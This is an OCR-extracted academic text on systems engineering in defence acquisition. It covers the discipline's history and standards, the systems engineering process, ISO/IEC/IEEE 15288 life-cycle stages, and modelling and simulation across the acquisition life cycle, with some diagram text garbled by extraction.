Acquisition-Framework-23-Jan-2020.pdf (15. 11. 2019.)
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‘The set of activities which control the overall design, implementation and inte-
gration of a complex set of interacting components or systems to meet the needs of
all users and other stakeholders.”

Systems engineering origins and standardisation

Systems engineering is one of the main pillars of the defence acquisition process in
the U.S., UK. and NATO. As for the technical management, its practices can ensure
increased confidence in the forecast cost, time and performance of the system and
the right balance of investment between the cost of acquiring new equipment and
that of supporting in-service equipment can be achieved. Additionally, these practices
provide the armed forces with the right capabilities to enable them to complete the
tasks required of them.

Systems engineering ‘came into its own in the mid-20™" century, driven by the mil-
itary technological competition of the Second World War and the cold war. Scientists,
engineers and managers from industry and academia developed new weapons for their
military patrons, including atomic and hydrogen bombs, jet fighters, ballistic missiles,
strategic defence command and control systems, and reconnaissance satellites. Faced
with extraordinary demands to create and deploy novel, complex systems at a rapid
pace, these three groups produced new techniques to manage the diversity and scale
of information and technology. Each group developed its approach: scientists created
operations research, engineers created systems engineering, and managers created
project management. Each approach reflected the efforts of a specific knowledge
community to cope with the complexities of large technological systems."°

Operations research, systems engineering, and project management, were at
home in the world of broad research and development organisations, particularly
those of the Department of Defense (DOD) and its contractors. All three of these
new ‘disciplines’ had distinct roles in the development of procedures for military
R&D. They coordinated the activities of other groups through mathematical analysis,
engineering coordination, and managerial control, using borrowed mathematical and
theoretical methods. Each paid close attention to the processes of R&D and devel-
oped procedures to control the information and interrelationships among analysis,
design, and testing.

Most of the mathematical methods used in these disciplines were applications of
existing practice to new problems; probability and statistics, queuing theory, symbolic
logic, and matrix techniques existed long before their application to engineering sys-
tems. Some, such as game theory, information theory, and feedback control theory,
were relatively new, but developed before and separately from operations research
and systems engineering.

9 The Acquisition Handbook. Ministry of Defence, 2002. Available: www.defence.org.cn/aspnet/vip-usa/uplo-
adfiles/2004102932134509.pdf (11.11.2019).

10 Stephen Johnson, ‘Three approaches to big technology: Operations research, systems engineering, and project
management’, Technology and Culture 38, no 4 (1997), 891-919.
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The essence of these new disciplines lay not in their borrowed mathematical
methods but rather in the functions they performed in research and development.
Each specialised in the creation and application of what shall be called procedural
knowledge, academically problematic but practically useful. Project managers imposed
a new organisational structure and process controls. Systems engineers created a new
engineering function devoted to communication processes and documentation across
disciplinary boundaries. Some operations researchers transformed their methods into
systems analysis, a set of practices for comparing design and operational options
for future technologies. Together, these techniques formed ‘systems management’,
as shown in Figure 1, the military-industrial method for developing new, large-scale
technological systems.

Development
Phasing

Life Cycle
Planning

Baselines

Systems
Engineering
Management

Systems
Engineering
Process

Life Cycle
Integration

Integrated
Teaming

Figure 1
Main activities of Systems Engineering Management.
Source: Systems Engineering Fundamentals.

Systems management and its component techniques were essential elements of the
‘systems approach’, an important intellectual development of the 1950s and 1960s
with strong proponents in academia as well as the military-industrial complex. Despite
its critics, systems management became the standard method of organising R&D in
the aerospace industry, spreading later to other industries in the United States and
other countries throughout the world. After the war, system integration spread to
become a new standard for government-industry interaction. Along with the con-
ception that the integrated system as a whole is more significant than the sum of
its parts, it formed a crucial element in what was to become the new discipline of
systems engineering.
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The modern origins of SE can be traced back to the 1930s and were followed
quickly by other programs and supporters. Table 1highlights some crucial milestones
in the origins of Systems Engineering; a list of current significant Systems Engineering
standards and guides is provided in Table 2.

Table 1
Important dates in the origins of SE as a discipline.
Source: INCOSE - Systems Engineering Handbook, 12.

1937 British multidisciplinary team to analyse the air defence system

1939-1945 | Bell Labs supported NIKE missile project development

1951-1980 | SAGE air defence system defined and managed by Massachusetts Institute of
Technology (MIT)

1954 Recommendation by the RAND Corporation to adopt the term ‘systems engineering’.

1956 Invention of systems analysis by RAND Corporation

1962 Publication of A Methodology for Systems Engineering by Hall

1969 Modelling of urban systems at MIT by Jay Forrester

1990 National Council on Systems Engineering (NCOSE) established

1995 INCOSE emerged from NCOSE to incorporate international view

2008 ISO, IEC, IEEE, INCOSE, PSM, and others fully harmonise SE concepts on ISO/IEC/
IEEE 15288:2008

Due to the mission of the U.S. Department of Defense (DoD) in the acquisition and
development of highly complex systems on a large production scale, defence procure-
ment managers decided to standardise and codify the systems engineering process
by publishing the Military Standard 499 (MIL-STD 499), which decision had a deep
impact on the early development of the discipline and its standardisation processes.
DoD's officials approved a later revision of the military standard (MIL-STD 499A)
for Air Force use only (DoD). However, MIL-STD 499A quickly became the Systems
Engineering standard for many defence acquisition programs. The Systems Engineer-
ing process model included: Mission requirements analysis, functional analysis, and
allocation and synthesis, as is presented in Figure 2.

Table 2
Current significant SE standards and guides.
Source: INCOSE - Systems Engineering Handbook, 13.

ISO/IEC/IEEE 15288:2015 | Systems and software engineering — System Life Cycle Processes

IEEE 15288.1-2014 IEEE Standard for Application of Systems Engineering on Defence Programs

IEEE 15288.2-2014 IEEE Standard for Technical Reviews and Audits of Defence Programs

ISO/IEC/IEEE 15289:2015 | Content of systems and software life cycle information products

ISO/IEC TR 24748-1:2010 | Guide for Life Cycle Management

ISO/IEC TR 24748-2:2011 | Guide for Application of 15288

ISO/IEC TR 24748-3:2011 | Guide for Application of 12207

ISO/IEC 15504:2004 Information Technology — Process Assessment
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ISO/PAS 19450:2015 Automation systems and integration — Object-Process Methodology (OPM)

ISO 10303-AP233 Industrial automation systems and integration

ANSI/GEIA EIA-632 Processes for Engineering a System

EIA/IS 7311 Systems Engineering Capability Model, Electronic Industries Alliance
IEEE 1220-2005 IEEE Standard for Application and Management of the Systems

Engineering Process
ANSI/AIAA G-043-1992 | Guide for the Preparation of Operational Concept Documents

IEEE 1471, 2000 IEEE Recommended Practice for Architectural Description of Software-
Intensive Systems

ISO 10303 - AP243 MoSSeC (Modelling and Simulation information in a Collaborative
Systems Engineering Context)

ISO 31000 Risk management — Principles and guidelines

SEBoK Guide to the systems engineering body of knowledge
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Figure 2
Systems Engineering’s Life-Cycle Application.
Source: MIL-STD 499A:1974.

MIL-STD 499A was expanded and updated as MIL-STD 499B ‘Systems Engineering’
draft. The Air Force Materiel Command sponsored a working group formed to review
and revise MIL-STD 499A for use by all DoD components, federal agencies, and
commercial organisations. The purpose of the new standard was to define a com-
prehensive, executable process that would result in optimal system solutions while
meeting cost, schedule, and performance objectives. The drafters claimed that the
revised standard would achieve critical DoD acquisition reform efforts to encourage
innovation in products and practices, to integrate requirements through multi-dis-
ciplinary teamwork, to increase teamwork and cooperation within the government
and industry, and to reduce the time needed to acquire products and services. How-
ever, it was never formally published and approved by DoD officials due to another
acquisition reform initiative that emphasised the use of commercial standards over
government standards.
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As a consequence of introducing the international standard ISO/IEC" 15288
in 2002, the discipline of SE was formally recognised, and the MIL-STD 499 was
cancelled. This standard is a systems engineering standard developed by SE experts
from government, industry, and academia, being recognised by both industry and
the Department of Defense (DoD) as being a common framework to improve the
effectiveness of systems engineering throughout the system life cycle. IEEE 15288.1-
2014 was adopted on 5 June 2015 for use by the U.S. Department of Defense (DoD)
as a replacement, providing the basis for selection, negotiation, agreement, and
performance of critical systems engineering activities and delivery of products.

As stated, the U.S. Deputy Assistant Secretary of Defense for Systems Engineering
about the importance of standardisation:

‘Technical standards provide the corporate process memory needed for a dis-
ciplined system engineering approach and help ensure that the government and its
contractors understand the critical processes and practices necessary to take a system
from design to production, and through sustainment'.'?

The main goal of implementing the IEEE 15288.1 standard was to provide U.S.and U.S.
DoD contractors a structured and uniform procedure in the areas identified as weakness,
improving communication, ensuring common expectations and adding realism to bids.

The defence acquisition system and the systems engineering process
Defence Acquisition System

The Defence Acquisition System has its foundation in the country's public law and policies
(ministerial directives, instructions and manuals, service regulations and inter-service
and international agreements), they govern the development, acquisition, operation
and disposal of military systems. Managing the development and fielding of military
systems requires three necessary activities: technical management, business manage-
ment and contract management. In countries as the U.S. and the U.K., among others,
Systems Engineering Management is one of the main pillars and it has to deal with the
technical management component of MoD acquisition management at DAU™ (2000)."

In the United States, the U.S. DoD 5000 defence acquisition documents were
revised in 2000 to make a more flexible process, introducing advanced technology
to warfighters more rapidly and at reduced total ownership cost. The new process
encourages multiple entry points, depending on the maturity of the fundamental
technologies involved, and the use of evolutionary methods to define and develop

ISO/IEC International Organization for Standardization / International Electrotechnical Commission.

12 Stephen P. Welby, ‘Standards’, M&S Journal 8 (2013), 2-3. Available: www.msco.mil/DocumentLibrary/Jour-
nals/MSJournalSpring2013.pdf (15. 11. 2019.)

3 DAU: Defence Acquisition University (DAU), corporate university of the United States Department of Defense,

offering ‘acquisition, technology, and logistics’ (AT&L) training to military and Federal civilian staff and Federal

contractors.

Systems Engineering Fundamentals, Supplementary Text Prepared by the Defense Acquisition University Press,

Fort Belvoir, Virginia, January 2001. Available: https://ocw.mit.edu/courses/aeronautics-and-astronauti-

cs/16-885j-aircraft-systems-engineering-fall-2005/readings/sefguide_01_01.pdf (24. 09. 2020.)
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systems encouraging a tailored approach to acquisition and systems engineering
management. However, it does not alter the basic logic of the underlying systems
engineering process. Later on, in 2015," one of the significant changes happened in the
revised acquisition system, with an increased emphasis on systems engineering tools
and techniques as simulation and modelling (S&M), alternative analysis and trade-offs
analysis made between capability requirements and life cycle costs in the early stages
of the acquisition process; these ensure that realistic program baselines are established.

Systems Engineering Process (SEP)

Systems Engineering Process (SEP) is an iterative, recursive and comprehensive prob-
lem-solving process. It transforms needs and requirements into process descriptions
and the final system product, generating the required information for decision-makers,
providing inputs for the next stage. The SEP is applied sequentially, adding additional
details and definitions with each level of development.

Process Input

» Customer Needs/Objectives/
Requirements
- Missions
— Measures of Effectiveness
- Environments
= Constraints
 Technology Base
» Output Requirements from Prior
Development Effort
+ Program Decision Requirements
* Requirements Applied Through
Specifications and Standards

System Analysis
and Control
(Balance)

Requirements Analysis

« Analyze Missions and Environments

« Identify Functional Requirements

« Define/Refine Performance and Design
Constraint Requirements

AA Requirements Loop

F A Y

+ Trade-Off Studies

+ Effectiveness Analyses
+ Risk Management

+ Configuration Management
+ Interface Management

- Data Management

+ Perfromance Measurement
— SEMS

- TPM

— Technical Reviews

+ Decompose to Lower-Level Functions

+ Allocate Performance and Other Limiting Requirements
to All Functional Levels

+ Define/Refine Functional Interfaces (Internal/External)

+ Define/Refil Functional Archi

Design Loop
Synthesis
+ Transform Architectures (Functional to Physical)

+ Define Alternative System Concepts, Configuration
Verification| Items and System Elements

+ Select Preferred Product and Process Solutions

+ Define/Refine Physical Interfaces (Internal/Externaly

Related Terms:
Customer = Organizations responsible for Primary Functions

Process Output

+ Development Level Dependent
Primary Functions = Development, Production/Construction, Verification, — Decision Database

Deployment, Operations, Support, Training, Disposal — System/Configuration Item
Systems Elements = Hardware, Software, Personnel, Facilities, Data, Material, Architecture
Services, Techniques — Specifications and Baselines
Figure 3

Systems Engineering Process (SEP).
Source: Systems Engineering Fundamentals.

As shown by Figure 3, the SEP includes requirements analysis, functional analysis and
allocation, requirements loop, synthesis, design loop, verification, system analysis
and control, and finally the process inputs and outputs as detailed below:

> ‘Department of Defense Instruction’.
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Systems Engineering Process Inputs:

Inputs consist primarily of the end user's needs, objectives, requirements and project
constraints. Inputs can include missions, environments, measures of effectiveness,
available technology, output requirements from the prior application of the SEP,
program decision requirements, and requirements based on ‘organisation knowledge’'.

Requirements Analysis:

The initial step of the SEP is to analyse the process inputs. Requirements analysis support
in the development of functional and performance requirements ‘translates’ the user/
customer requirements. These must be understandable, comprehensive, complete,
concise, and unambiguous, defining what the system must do and how it must perform.

Requirements analysis must clearly define the functional requirements and
design constraints. Functional requirements define quality (how good), quantity (how
many), coverage (how far), timelines (when and how long), and availability (how
often). Constraints in the design stage define those factors that limit design flexibil-
ity, customer or regulatory standards, such as environmental conditions, internal or
external threats, and contract.

Functional Analysis/Allocation:

Functions are analysed by decomposing higher-level functions into lower-level func-
tions, resulting in a description in terms of what the product should logically do and
what the performance needed. Functional analysis and allocation allow for a better
understanding of what the system has to do, as presented in Figure 4. Functional
flow, block diagrams, timeline analysis, and the requirements allocation sheet are
some essential tools in this part of the process.

Holding Firing
Position 500 meters Position
1500 meters
Remunition
Position il T
500 meters ~ =~ .. _ | Firing
Position
Holding
Position
Figure 4

Example of a functional diagram for a single mission of a Rocket Artillery System.
Source: created by author.
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Requirements Loop:

The Requirements Loop allows to refine and initiate the re-evaluation of the require-
ments to determine its firmness. Performance of the functional analysis results in
a better understanding of the requirements; each function identified should be
traceable back to the corresponding requirement. This iterative process of revisiting
requirements analysis is known as the requirements loop.

Design Synthesis:

This is the process of defining the product or components in terms of the physical/
software elements which together define the system; the final result is known as
the physical architecture. The physical architecture is the base structure in order
to generate the specifications and baselines. Figure 5 presents a sample of a generic
weapon system's physical architecture.

| F-22 Weapon System |
[

|

Avionics Utilities & Cockpit Vehicle

System Subsystems Systems Management

y | y y Systems

@ Navigation, Controls & Inertial
Identification Displays Reference System

Electronic - Stores

Warfare I@I Management

Figure 5

Sample of a generic weapon system’s physical architecture.

Source: Dennis M. Buede, The Engineering Design of Systems — Models and Methods (New Jersey: John Wiley &
Sons, 2009), 28.

Design Loop:

Similar to the requirements loop mentioned before, the design loop is the process
of revisiting the functional architecture in order to verify that the physical design
can carry out the required functions with the required levels of efficiency. The design
loop permits to reconsider how the system will perform its mission, and this helps
to optimise the synthesised design.
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Verification:

The final solution will be compared to the requirements for each application of the system
engineering process. This part of the process is called ‘verification' (see Figure 6). Each
requirement at each level must be verifiable. Baseline documentation elaborated during the
systems engineering process must define the method of verification for each requirement.

Some verification methods include, among others, examination, demonstration,
analysis (including modelling and simulation), and testing. Formal test and evaluation
are significant contributors to the verification of systems.

SYSTEMS COMMISSIONED

ENGINEERING SYSTEM -
MANAGEMENT OPERATIONS &
PLAN MAINTENANCE

CONCEPT OF
OPERATIONS

Sub-System
Verification Plan

Component
Verification

&= COMPONENT
VERIFICATIO|

COMPONENT
DETAILED
DESIGN

f Traceability

IMPLEMENTATION
HARDWARE & SOFTWARE
(CODING & TEST)

Time

Figure 6
Sample of a Systems Engineering “V" (Verification) diagram.
Source: Elie Allouis, R. Blake, S. Gunes-Lasnet, T. Jorden, B. Maddison, H. Schroeven-Deceuninck, M. Stuttard,
P. Truss, K.Ward, R. Ward and M. Woods, ‘A Facility for the Verification & Validation of Robotics & Autonomy
for Planetary Exploration’. Proceedings of the 12th Symposium on Advanced Space Technologies in Automation

and Robotics. Noordwijk, ASTRA, 2013. Available: http://robotics.estec.esa.int/ASTRA/Astra2013/Papers/
Allouis_2824264.pdf (28. 04.2020.)

Systems Analysis and Control:

Systems Analysis and Control concern the technical management activities necessary to
monitor the progress, to analyse of alternatives, and document the data and decisions.

System analysis concerns design, trade-off and effectiveness analyses. They
evaluate an alternative that satisfies technical requirements and program objectives,
providing a strong quantitative base for selecting performance, functional and design
requirements. To provide input to analysis, the tools to be used include modelling,
simulation, experimentation, and testing.

Control activities include risk management, configuration management, data
management, and performance-based progress measurement, including event-based
scheduling, Technical Performance Measurement (TPM), and technical reviews.
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Acquisition system life cycle

According to NATO AAP-48:2013' and ISO/IEC/IEEE 15288:2015," every system
has a life cycle. A life cycle can be decomposed into a set of stages consisting of
processes and activities. The system progresses through these stages as the result
of actions, performed and managed by people in organisations. NATO has decided
to follow ISO/IEC/IEEE 15288:2015, which covers processes and life cycle stages in
dividing the whole system life cycle into six stages, as presented in Figure 7: 1. Con-
cept; 2. Development; 3. Production; 4. Utilisation; 5. Support; 6. Retirement. Each
stage represents one essential period of the life cycle of a system. The partitioning
of the system life cycle into stages is based on the practicality of doing the work in
small, understandable, timely steps. Stages also help address uncertainties and risk
associated with cost, schedule, and general objectives and decision making. Each stage
has a well-defined purpose and contribution to the whole life cycle. The transition
between stages uses decision gates and entry/exit criteria.

Generic life cycle (ISO/IEC/IEEE 15288:2015)

- Product} Utilization stage Ret
evelopment roduction etirement
Concept stage stage stage stage
Support stage
Typical high-tech commercial systems integrator
Study period Implementation period Operations period
User rlions 1
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Typical high-tech commercial manufacturer
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Product Product Product Engr, I | E I | Full-seale |Manufacturing cont
requircmients | definition development model test lest production | sales, and Dmﬁ,m: AR
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US Department of Defense (DoD)
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Materiel Technolo Engincering and | .
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Figure 7

ISO/IEC/IEEE 15288:2015 and its comparisons with other life cycle models.
Source: INCOSE - Systems Engineering Handbook.

'® NATO AAP-48:2013 System Life Cycle Processes.
7 ISO/IEC/IEEE 15288:2015 International Standard — Systems and software engineering — System life cycle pro-
cesses.
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Concept Stage:

The concept stage begins with some recognition of a need for a new or modified
system of interest (SOI). Many industries employ an exploratory research activity
in the concept stage to study new ideas or enabling technologies and capabilities,
which then mature into the new project initiation (for the SOI). Often, the exploratory
research activity identifies the enabling technologies. If the work is done correctly
in the early stages, it is possible that future iterations can be reduced or avoided
in subsequent stages. Many life cycle models show the process of beginning with
‘requirements’ or ‘user requirements’. The process begins earlier with interactions
and studies to understand potential new organisational capabilities, opportunities,
or stakeholder needs. It is critical that in these early studies, a high-level, preliminary
concept be created and explored to whatever depth is necessary to identify technical
risks and to assess the technology readiness level (TRL) of the project. The focus is on
studying potential technologies and determining the state of what is possible and
what is not. In some instances, the project may be an outgrowth of research activities
where the research engineer or scientist has no connection to a user-supported need.
The preliminary concept and enabling technologies need to be identified early. One
of the challenges in developing alternate concepts is that we often build on what has
worked well for us in the past, without considering valid alternatives, and thereby we
miss opportunities to make much better improvements. The preliminary concept will
also be used to forecast initial cost and schedule projections for the project if it moves
ahead. Incomplete SE in this stage can lead to poor cost and schedule projections, as
well as poor understanding of technical alternatives, resulting in poor trades among
the alternatives. The preliminary concept is a starting point, not an endpoint, as the
project moves into the concept selection activity of the concept stage.

Concept selection is the second activity of the concept stage. The concept
selection activity is a refinement and broadening of the studies, experiments, and
engineering models pursued during the exploratory research activity. First of all one
has to identify, make clear, and document the stakeholders’ conceptual operation of
the system through the different stages of utilisation, and the environments intended
to be used. The operational concept (OpsCon) effort should be undertaken to include
any changes caused by changes in the manufacture processes or materials, changes
in interface standards or new feature enhancements being added; these can drive
various aspects of concept selection of the system.

These studies extend the evaluation of risk and opportunity, including failure
modes, affordability assessment, environmental impact, hazard analysis, technical
obsolescence, and system disposal analysis.

Development Stage:
The development stage defines and realises a system of interest (SOI) that meets

its stakeholder requirements and that can be produced, utilised, supported, and
retired. The development stage begins with the outputs of the concept stage. The
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primary output of this stage is the SOI. Other outputs can include the SOI proto-
type, enabling system requirements (or the enabling systems themselves), system
documentation, and cost estimates for future stages. Business and mission needs,
along with stakeholder requirements, are refined into system requirements. These
requirements are used to create a system architecture and design. The concept from
the previous stage is refined to ensure that all system and stakeholder requirements
are satisfied. Requirements for production, training, and support facilities are defined.
Enabling systems’ requirements and constraints are considered and incorporated
into the design. System analyses are performed to achieve system balance and to
optimise the design for critical parameters.

Production Stage:

The production stage is where the system is produced or manufactured. Modifications
to the initial product may be required to resolve production problems, to reduce
production costs, or to enhance product or system capabilities.

Utilisation Stage:

The utilisation stage is where the system is operated in its intended environment to
deliver its intended services. Product changes are usually planned for introduction
throughout the operation of the system. These upgrades intend to enhance the capa-
bilities of the system. Systems engineers intend to ensure that smooth integration
with the operating system should assess these changes. For large complex systems,
midlife upgrades can be substantial endeavours requiring SE effort equivalent to
a significant program.

Support Stage:

The support stage is where the system is provided with services that enable continuous
operation. Modifications may be proposed in order to solve supportability problems,
reduce operational costs, or to extend the system'’s life. These changes require SE
assessment to avoid loss of system capabilities while under operation.

Retirement Stage:

The retirement stage is where the system and its related services are removed from
operation. SE activities in this stage are primarily focused on ensuring that disposal
requirements are satisfied. Planning for retirement is part of the system definition
during the concept stage. Experience has repeatedly demonstrated the consequences
when system retirement is not considered from the outset.
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The whole life cycle approach finally will allow for the defence acquisition system
to have more accurate visibility and prediction of activities, time and costs that will
be very important to reduce the uncertainties and inherent risks associated with new
product development programs.

Modelling and simulation in support of the defence acquisition system
Modelling and Simulation (M&S)

Stakeholders of the SE life cycle have used models and simulations for some time
both to check their thinking and to communicate their concepts to others. The ben-
efit is double: (i) models and simulations confirm the need for the systems and the
expected system behaviours before proceeding with the development of an existing
system, and (ii) models and simulations present a straightforward, coherent design
to those who will develop, test, deploy, and evolve the system, thereby maximising
productivity and minimising error.”® The ability to detect limitations and incompati-
bilities via system models and simulations early in a project helps avoid higher project
cost and schedule overruns later in a project, especially during system operation.
The value of modelling and simulation increases with the size — be it physical size or
complexity — of the system or system under development.

Early in the SE life cycle, the objective of modelling and simulation is to obtain
information about the system before significant resources are committed to its design,
development, construction, verification, or operation. To that end, modelling and
simulation help generate data in the domain of the analyst or reviewer, not available
from existing sources, in a manner that is affordable and timely to support decision
making. An adequate, accurate, and timely model and simulation informs stakeholders
about the implications of their preferences, provides perspective for evaluating alter-
natives, and builds confidence in the capabilities the system will provide. They also
help the development, deployment, and operational staffs comprehend the design
requirements, appreciate imposed limits from technology and management, and
ensure an adequate degree of sustainability. Finally, adequate, accurate, and timely
models and simulations help the organisation and its suppliers provide the necessary
and sufficient personnel, methods, tools, and infrastructure for system realisation.

The long-term benefits of modelling and simulation are commensurate with the
gap between the extent, variety, and ambiguity of the problem and the competencies
of downstream staffing. A relatively simple model of an intended system may be
sufficient for highly competent staff. In contrast, a much more elaborate simulation
may be necessary for less competent staff, especially one faced with producing a novel,
large-scale system that is capable of autonomously coping with unpredictable mis-
sion situations. Ultimately, the benefit of modelling and simulation is proportional
to the stakeholders’ perception of the timeliness, trustworthiness, and ease of use

8 Modeling and Simulation in Manufacturing and Defense Acquisition: Pathways to Success. National Research
Council (Washington DC: The National Academies Press, 2002).
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and maintenance of the model or simulation. Consequently, the planned resources
anticipated to be spent in development, verification, validation, accreditation, oper-
ation, and maintenance of the model must be unvarying with the expected value of
the information obtained through the use of the model.

The purpose of system modelling

System models can be utilised for many purposes. One of the first principles of mod-
elling is to define the purpose of the model clearly. Some of the purposes of those
models throughout the system life cycle include:

Characterising an existing system:

Many existing systems are poorly documented, and modelling the system can
provide a concise way to capture the existing system architecture and design. This
information can be used later to facilitate maintaining the system or to assess the
system to improve it. This is analogous to creating an architectural model of an old
building with overlays for electrical, plumbing, and structure before proceeding to
upgrade it to new standards to withstand earthquakes.

Mission and system concept formulation and evaluation:

Early in the system life cycle, models can be applied to synthesise and evaluate mis-
sion and system concepts of the alternative. Models can be used to explore a trade
space by modelling alternative system designs and evaluating the criticality of sys-
tem parameters such as weight, speed, accuracy, reliability, and cost on the overall
measures of merit. In addition to bounding the system design parameters, models
can also be used to validate that the system requirements meet stakeholder needs
before proceeding with later life cycle activities such as architecting and design.

System architecture design and requirements flow-down:

Models can be used to support the system solutions, as well as flow missions and
system requirements down to system elements. Different models may be required
to assess different aspects of the system design requirements. This may include
models that specify functional, interface, performance, and physical requirements,
as well as other non-functional requirements such as reliability, maintainability,
safety, and security.
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Support for systems integration and verification:

Models can be used to support the integration of the hardware and software ele-
ments into a system, as well as to support verification of the system's requirements
achievement. This often involves integrating lower level hardware and software design
models with system level design models, which verify that the system requirements
are satisfied. Systems integration and verification may also include replacing selected
hardware and design models with actual hardware and software products to verify
that the system requirements are satisfied incrementally. This is referred to as hard-
ware-in-the-loop testing and software-in-the-loop testing. Additionally, models can
be used to define the test cases and other aspects of the test program to assist in
test planning and execution.

Support for training:

Models can be used to simulate many aspects of the system to help train users to
interact with it. Users may be operators, maintainers, logistics or other stakeholders.
Models may be the base for developing a simulator of the system with different levels
of fidelity to represent user interaction in different operational scenarios.

Knowledge capture and system design evolution:

Models provide an effective way of capturing knowledge about the system and
retaining it. This knowledge, which can be reused and updated, provides a basis
for supporting the development of the system, such as modifying system require-
ments in the face of emerging, relevant technologies, new applications, and new
customers.

Models represent the essential characteristics of the system of interest (SOI),
the environment in which the system operates, and the interactions with enabling
and interfacing systems and operators. Models and simulations can be used within
most system life cycle processes.

Business or mission analysis:
A descriptive model of the problematic situation ensures that the right problem(s)

is being addressed.

Requirements (stakeholder and system) definition:

It enables justification of requirements and avoids over-/underspecification.
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Architecture definition:

This means evaluation of candidate options against selection criteria and enabling active
agents to discover the best architecture, including the integration to other systems.

Design definition:

This means obtaining the needed design data, adjusting parameters for optimisation, and
updating system model fidelity as actual data for system elements to become available.

Verification and validation:

This means simulating the system's environment, evaluating verification and validation
data (simulation uses observable data as inputs for computation of critical parameters
that are not directly observable), and validating the fidelity of the simulation (false
positives/false negatives).

Operations:

These mean simulations that reflect actual behaviour and simulation of operations
in advance of execution for planning, validation, and operator training.

Modelling and Simulation (M&S) in Defence Acquisition Lifecycle

The use of modelling and simulation (M&S) is not new in defence acquisition. In the
1960s, as computing capabilities increased, the task of modelling and simulating both
the design and performance of defence systems moved increasingly toward digital
representations and algorithms implemented in computer software. As high-speed
digital networking evolved during the 1980s and 1990s, the ability to share this dig-
ital information both within and across organisations increased rapidly and created
opportunities for collaboration in the development of defence systems.

The use of modelling and simulation (M&S) within the defence acquisition
system is a multi-dimensional activity which supports the milestone decision pro-
cess, supports multiple stakeholders (operator, developer, designer, manufacturer,
supporter, tester and trainer), and consists of various classes and types of M&S, each
with a specific purpose.

The Systems Engineering (SE) in the defence acquisition process is usually represented
as a life-cycle with a series of stages as well as those mentioned above. The following
sections resume the application of M&S in a military system development context.™

9 Lalit K. Piplani, Systems Acquisition Manager's Guide for the Use of Models and Simulations, Report. Defense Tech-
nical Information Center, 1994.
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Conceptual Design

The conceptual design aims to arrive at a system-level design approach through trade-
off studies. While capability development processes are improving rapidly (based partly
on improved M&S tools), little information is available on the design approach below
system-level. Only broad concepts of operation, derived from the User Need, are known,
implying, for example in a military system context, that Theatre/Campaign and Mission/
Battle models are used during this phase. As no actual equipment exists during this
phase, constructive simulations are usually employed. The models used to describe
behaviour are themselves process type models which of course do not have a physics
base, but are rather based on doctrine, cognitive task analysis, psychological profiles
and user experience. As such, this level of simulation is most useful for the exploration
of concepts and possible behaviour before the design phase begins. If the simulation
system s itself designed correctly, it can transition easily into the simulation tool needed
for design phase support. A suite of models and simulations, along with supporting data
including threat, environment, tactics, and others are required in this stage.

« Engineering level models of new designs provide system and subsystem
performance to support higher-level models.

+ Engagement and mission/battle level simulations evaluate the effectiveness
of designs in an operational environment and evaluate the consequences of
different engagement tactics.

+ Campaign/theatre level models examine the outcomes of new system capa-
bilities, technologies, and tactics in extended, combined force conflicts.

« Human interaction in simulations may be used either to identify the tactics for
use in other models and simulations or to examine the operational impacts
of alternative tactical schemes or concepts of operation.

« Virtual prototypes also demonstrate military utility of new tactics, techno-
logies and systems.

This suite of models and simulations allows for analytical evaluation of tactics or
concepts of operation changes with existing baseline systems before evaluation of
new systems. The campaign/theatre level models and simulations, used in conjunc-
tion with the results of the lower-level models, will develop the data used to identify
warfighting needs to be documented. The engagement and mission level models will
identify the features and characteristics that provide the required capabilities with
the potential to satisfy those needs.

Preliminary Design

The complexity of modern systems which involve numerous electronic subsystems
and very rich information environments as well as the more traditional ‘physical’
components results in the need for a simulation system able to address a high degree
of heterogeneity, and it is this fact which has led to the introduction of agent-based
model techniques. The preliminary design aims to arrive at a sub-system-level design
approach through trade-off studies. More information is available on most aspects of
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the overall design approach in this phase. The availability of this information implies
that, again in a military system context, the same agent-based model used for concept
development can be used by expanding the resolution of the various types of models
used — Mission/Battle, Engagement, and Engineering type models.

These models have the same function as in the concept development phase but can
represent these functions in more detail. Different analyses during this phase will require
the models used to be of different levels of granularity depending on which elements of
the system are being studied. The same behavioural models can also be carried forward
to this phase, again with more detail if appropriate. Generally, it is expected that there is
more of a focus on individual behaviours in this phase in contrast to unit-level behaviours in
the concept development phase. Early prototyping during preliminary design would place
greater emphasis on virtual simulations, which can often be readily developed from the
components of the constructive agent-based simulation models. As this phase advances,
it is expected that constructive and virtual models will be used together. However, the
developmental nature of the early prototypes would preclude the use of live simulations.

Detailed Design and Development

Detailed design and development aim to arrive at a component-level design approach
through trade-off studies. Detailed information will be available on all aspects of
the design approach. The availability of this information implies that more detailed
Engineering and Physics/Mathematics type models will be used in the simulation
system replacing those used. Figure 8 presents a multi-physic simulation. Model and
simulation performance can become an issue at this level. It is therefore essential to
build the simulation system in such a way that it can be run with different levels of
resolution in its different parts. Those components that do not understudy at any
particular time must still be represented well enough so that the overall context is
maintained, but at whatever lower level that is suitable to improve performance.

Figure 8
IED detonation simulation after 0.25ms (left) and 0.9ms (right) using ANSYS Autodyn software.

Source: Rodrigo Guajardo, ‘Mecénica computacional como herramienta para el disefio de ingenieria de defensa’,
Academia Politécnica Militar - Boletin Cientifico 21 (2017), 43-66.
Available: http://boletincientifico.cl/boletines/boletin21/pdf/ARTICULO-3.pdf (13. 11. 2019.)
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Production and Construction

Production and/or construction aims to produce, integrate, and validate the system.
A mix of Physics/Mathematics, Engineering, and Engagement type models would be
used during production and/or construction. These hierarchical model types would
take the form of process-based, physics-based and iconic models of high resolution
and fidelity for satisfactory validation of the system, but which still exist with the
agent-based simulation with this validation focus; the original constructive simulation
becomes less critical, but still provides an integrating function, and should still be
updated so that it can support further system evolution of functionality and com-
plexity. Live and virtual simulations are used to validate both the real system and
the constructive simulation models as presented in Figure 9, where a combat vehicle
suspension is evaluated under current operational requirements.

Utilisation and Support

Utilisation and support will require the use of Physics/Mathematics, Engineering,
Engagement, Mission/Battle, and Theatre/Campaign type models, which again can
still be used from within the existing agent-based simulation system for system
management purposes and for developing evolutionary additions to system func-
tionality and exploring their consequences. Because the management function is
more robust in this phase, some adaptation to the user interface will be required for
usability reasons. However, in most cases, the same models can be used in earlier
phases. Live and virtual simulations are also required for other functions, such as:
To validate the system or provide training to system users in operational scenarios
that would otherwise be prohibitively complex, expensive, or dangerous, as the drop
test simulation shown in Figure 10, that can report important design data as feedback.

Figure 9
Virtual vehicle dynamics simulation performance assessment under environmental conditions using
MSc Adams software.

Source: ‘Dynamic analysis software Adams Car’, Direct Industry. Available: www.directindustry.com/prod/msc-
software/product-6042-1576633.html (08. 11. 2019.)
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To monitor the system’s long-term performance for signs of degradation due to
ageing, storage, or environmental factors.

To assess the effectiveness of the extant and modified system against emerging
needs, using the five hierarchical model types.

